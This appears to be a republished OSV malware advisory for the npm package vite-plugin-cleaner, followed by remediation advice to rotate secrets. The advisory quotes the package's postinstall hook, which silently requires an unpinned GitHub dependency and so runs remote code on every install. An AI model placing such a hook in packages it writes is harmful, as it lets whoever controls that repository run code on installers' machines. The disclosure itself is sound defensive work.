Malicious code in vite-plugin-cleaner (npm)
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
osv · MAL-2026-13463
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (35bc445ea196f979ad69189f4498586a09a51855b97e95dea02d01d197620237) package.json declares an optionalDependency `vite-cleaning-tools` pointing at `github:vite-plugins/vite-cleaning-tools` with no commit SHA or tag, so npm resolves and fetches whatever code is at the current HEAD of that GitHub repository at install time. The `postinstall` script then runs `node -e "try { require('vite-cleaning-tools') } catch(e) {}"`, executing that fetched code on every `npm install` while a try/catch silently swallows any errors. Because the reference is mutable and lives outside the npm registry, the maintainer (or anyone who gains write access to the GitHub repository) can change what runs on installer machines at any moment without publishing a new npm version, and npm registry scanning does not cover the fetched payload. ## Source: ghsa-malware (0b14221851aa3f1b5df88c062ca09885f64f87f1438905e9e8dc7c0e35f633ac) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
- Source published
- 6 Aug 2026 19:34:43 UTC
- Source modified
- 26 Aug 2026 01:18:30 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.